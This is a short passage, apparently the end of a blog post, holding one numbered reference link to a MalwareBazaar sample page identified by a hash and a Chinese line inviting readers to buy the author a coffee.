  8. https://bazaar.abuse.ch/sample/3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac/
请作者喝杯咖啡☕